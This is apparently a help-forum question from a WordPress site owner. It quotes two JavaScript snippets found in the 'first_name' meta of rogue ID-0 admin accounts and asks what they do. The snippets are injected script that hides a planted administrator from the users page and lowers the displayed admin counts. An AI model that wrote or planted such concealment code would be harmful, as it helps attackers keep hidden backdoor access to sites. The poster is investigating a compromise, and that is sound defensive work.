remove empty admin accounts with ID 0

These empty users have in the database the meta key “first_name” with content such as

<b id="user_superuser"><script language="JavaScript">
     var setUserName = function(){
          try{
               var t=document.getElementById("user_superuser");
               while(t.nodeName!="TR"){
                    t=t.parentNode;
               };
               t.parentNode.removeChild(t);
               var tags = document.getElementsByTagName("H3");
               var s = " shown below";
               for (var i = 0; i < tags.length; i++) {
                    var t=tags[i].innerHTML;
                    var h=tags[i];
                    if(t.indexOf(s)>0){
                         s =(parseInt(t)-1)+s;
                         h.removeChild(h.firstChild);
                         t = document.createTextNode(s);
                         h.appendChild(t);
                    }
               }
          }catch(e){};
     };
     addLoadEvent(setUserName);
     </script>

or

<b id="user_superuser"><script language="JavaScript">
     var setUserName = function(){
          try{
               var t=document.getElementById("user_superuser");
               while(t.nodeName!="TR"){
                    t=t.parentNode;
               };
               t.parentNode.removeChild(t);
               var tags = document.getElementsByTagName("H3");
               var s = " shown below";
               for (var i = 0; i < tags.length; i++) {
                    var t=tags[i].innerHTML;
                    var h=tags[i];
                    if(t.indexOf(s)>0){
                         s =(parseInt(t)-1)+s;
                         h.removeChild(h.firstChild);
                         t = document.createTextNode(s);
                         h.appendChild(t);
                    }
               }
				var arr=document.getElementsByTagName("ul");
				for(var i in arr) if(arr[i].className=="subsubsub"){
					var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
					if(n[1]>0){
						var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
						arr[i].innerHTML=txt;
					}
				}

          }catch(e){};
     };
     addLoadEvent(setUserName);
     </script>

What does this code do?